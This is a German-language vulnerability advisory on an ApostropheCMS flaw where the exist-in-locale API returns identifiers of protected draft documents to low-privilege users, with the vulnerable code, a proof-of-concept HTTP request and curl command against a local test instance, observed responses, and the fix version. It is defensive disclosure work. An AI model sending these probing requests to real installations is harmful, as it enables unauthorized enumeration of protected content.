Mittel

ApostropheCMS: Umgehung der Autorisierung auf Objektebene in exist-in-locale legt Kennungen geschützter Entwürfe offen

  • Veröffentlicht: 20.10.2026
  • Aktualisiert: 20.10.2026 21:31

Zusammenfassung

Die exist-in-locale-API von ApostropheCMS ermöglicht es einem authentifizierten Benutzer mit geringen Rechten festzustellen, ob geschützte Dokumente in einem bestimmten Gebietsschema (Locale) und Modus, einschließlich des Entwurfsmodus (Draft), existieren. Der Endpunkt gibt lokalisierte Dokumentenbezeichner zurück, ohne Kriterien zur Berechtigung auf Dokumentenebene (Anzeige- oder Bearbeitungsrechte) anzuwenden.

Das Problem wurde an einer realen lokalen ApostropheCMS-Anwendung unter Verwendung des überprüften Quellcodes reproduziert. Für den Test wurden ein synthetisches Gastkonto sowie synthetische geschützte Entwurfsdatensätze verwendet.

Details

Exakter betroffener Quellpfad: packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529 Exakte API-Route: POST /api/v1/@apostrophecms/i18n/exist-in-locale

Der Handler überprüft lediglich, ob der Anfragende authentifiziert ist:

if (!req.user) {
  throw self.apos.error('notfound');
}

Anschließend führt er eine direkte Datenbankabfrage unter Verwendung vom Angreifer kontrollierter Dokument-IDs, Locales und Modi aus:

const found = await self.apos.doc.db.find({
  aposLocale: `${locale}:${mode}`,
  aposDocId: {
    $in: ids.map(self.apos.doc.toAposDocId)
  }
}).project({
  _id: 1,
  aposDocId: 1
}).toArray();

Diese Abfrage wendet Folgendes nicht an:

  • .permission('view')
  • .permission('edit')
  • apos.permission.criteria(req, 'view')
  • Autorisierung auf Objektebene (Dokumentenebene)
  • Gebietsschemaspezifische Autorisierung

Der Endpunkt akzeptiert mehrere IDs, wodurch eine Massenabfrage (Bulk Probing) möglich ist.

Proof of Concept

Die lokale Anwendung lief unter: http://127.0.0.1:3000 Das Testkonto besaß die Rolle mit niedrigen Rechten: guest Die lokale Datenbank enthielt synthetische Datensätze für die geschützte Dokumenten-Basis-ID:

wv2l4rbaplgzkg80zkne4aoz:en:draft
wv2l4rbaplgzkg80zkne4aoz:fr:draft

Alle Anmeldeinformationen und Cookies wurden nachfolgend unkenntlich gemacht.

POST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Content-Type: application/json
Accept: application/json

{
  "ids": [
    "wv2l4rbaplgzkg80zkne4aoz:en:draft",
    "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
  ],
  "locale": "fr",
  "mode": "draft"
}

Äquivalenter Befehl

bash
curl -i -sS -X POST \
  'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \
  -b /path/to/redacted-guest-cookie-jar.txt \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json' \
  --data-raw '{
    "ids": [
      "wv2l4rbaplgzkg80zkne4aoz:en:draft",
      "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
    ],
    "locale": "fr",
    "mode": "draft"
  }'

Beobachtete Antwort

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
{
  "originalLocaleIds": [
    "wv2l4rbaplgzkg80zkne4aoz:en:draft"
  ],
  "newLocaleIds": [
    "wv2l4rbaplgzkg80zkne4aoz:fr:draft"
  ],
  "aposDocIds": [
    "wv2l4rbaplgzkg80zkne4aoz"
  ]
}

Die nicht existierende ID wurde in der Antwort ausgelassen. Dies belegt, dass der Endpunkt als Existenz-Orakel fungiert.

Autorisierungskontrolle Unter Verwendung derselben authentifizierten Gast-Sitzung und des oben zurückgegebenen lokalisierten Dokumentenbezeichners wurde die normale Seiten-API angefragt:

GET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Accept: application/json

Beobachtete Antwort:

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
{
  "name": "forbidden",
  "data": {},
  "message": "forbidden"
}

Dies zeigt die Autorisierungsgrenze deutlich auf:

Anfrage Ergebnis
Normale Seiten-API für den geschützten Entwurf 403 Forbidden
exist-in-locale für denselben geschützten Entwurf 200 OK mit lokalisierter Dokument-ID
exist-in-locale für eine nicht existierende ID 200 OK mit leeren Arrays

Zusätzliche Validierung der Auswirkungen

Das Verhalten wurde zudem über mehrere Kombinationen von Locales und Modi hinweg getestet:

Abfrage Ergebnis
locale=fr, mode=draft Gab wv2l4rbaplgzkg80zkne4aoz:fr:draft zurück
locale=fr, mode=published Gab leere Arrays zurück, da keine veröffentlichte Vorlage existierte
locale=de, mode=draft Gab leere Arrays zurück, da keine deutsche Vorlage existierte
Zwei IDs in einer Anfrage Existierende ID wurde zurückgegeben; nicht existierende ID ausgelassen

Dies bestätigt, dass der Endpunkt verwendet werden kann, um herauszufinden, ob ein Dokument über einen lokalisierten Entwurf in einem bestimmten Locale verfügt, und um Massenaufzählungen durchzuführen.

Auswirkungen

Ein authentifizierter Benutzer mit geringen Rechten kann:

  • Beliebige bekannte oder erratene Dokumenten-Basis-IDs überprüfen.
  • Bestimmen, ob geschützte Dokumente lokalisierte Versionen besitzen.
  • Bestimmen, ob unveröffentlichte Entwurfsversionen existieren.
  • Feststellen, welche Locales passende Datensätze enthalten.
  • Exakte lokalisierte Dokumentenbezeichner erhalten.
  • Mehrere IDs in einer Anfrage zur Massenaufklärung übermitteln.

Das Problem legt nicht direkt den Dokumenteninhalt offen und gewährt keine Schreib-, Veröffentlichungs- oder Löschrechte. Während der Tests wurden keine Inhalte modifiziert, veröffentlicht, gelöscht oder über die Metadaten der Bezeichner hinaus offengelegt.

Empfohlene Behebung

Vor Ausführung der Datenbankabfrage sollten dieselben Autorisierungskriterien auf Dokumentenebene angewendet werden, die auch von der regulären Dokumenten-API verwendet werden. Die Abfrage sollte auf Dokumente beschränkt werden, die der Anfragende im angeforderten Locale und Modus einsehen darf. Entwurfsabfragen sollten zusätzlich die entsprechende Berechtigung zur Anzeige von Entwürfen für das jeweilige Dokument erfordern und sich nicht nur auf eine bloße Authentifizierung oder eine globale Rollenprüfung stützen. Der Endpunkt sollte es außerdem vermeiden, lokalisierte Dokumentenbezeichner für Datensätze zurückzugeben, welche die Kriterien für Dokumentenberechtigungen des Anfragenden nicht erfüllen.

Was zu tun ist

Aktualisieren Sie auf ApostropheCMS 4.33.0 oder eine neuere Version.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket apostrophe < 4.33.0 4.33.0

Verweise

CVSS-Wert 4.3/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Schwäche (CWE)
CWE-862
Plattform
npm
Paket
apostrophe
Veröffentlicht
20.10.2026
Aktualisiert
20.10.2026 21:31

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-vmxh-77cw-65j7 - CC BY 4.0

Schwachstellenhistorie: apostrophe

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (27) im Archiv
Einträge insgesamt
27
Erste → letzte
09.2020 10.2026
Ohne Fix
4
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 2
  • Hoch 8
  • Mittel 13
  • Niedrig 4

Veröffentlichungen pro Jahr

  1. 2020: 2
  2. 2021: 2
  3. 2022: 0
  4. 2023: 0
  5. 2024: 0
  6. 2025: 0
  7. 2026: 23
Schweregrad:
  1. ApostropheCMS: Umgehung der Autorisierung auf Objektebene in exist-in-locale legt Kennungen geschützter Entwürfe offen dieser Eintrag
    Mittel · 4.3 CVE-2026-113660 < 4.33.0 4.33.0
  2. Hoch · 7.3 CVE-2026-45011 = 4.29.0 keine Korrektur
  3. Kritisch · 9.8 CVE-2021-25979 >= 2.63.0, < 3.4.0 3.4.0

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.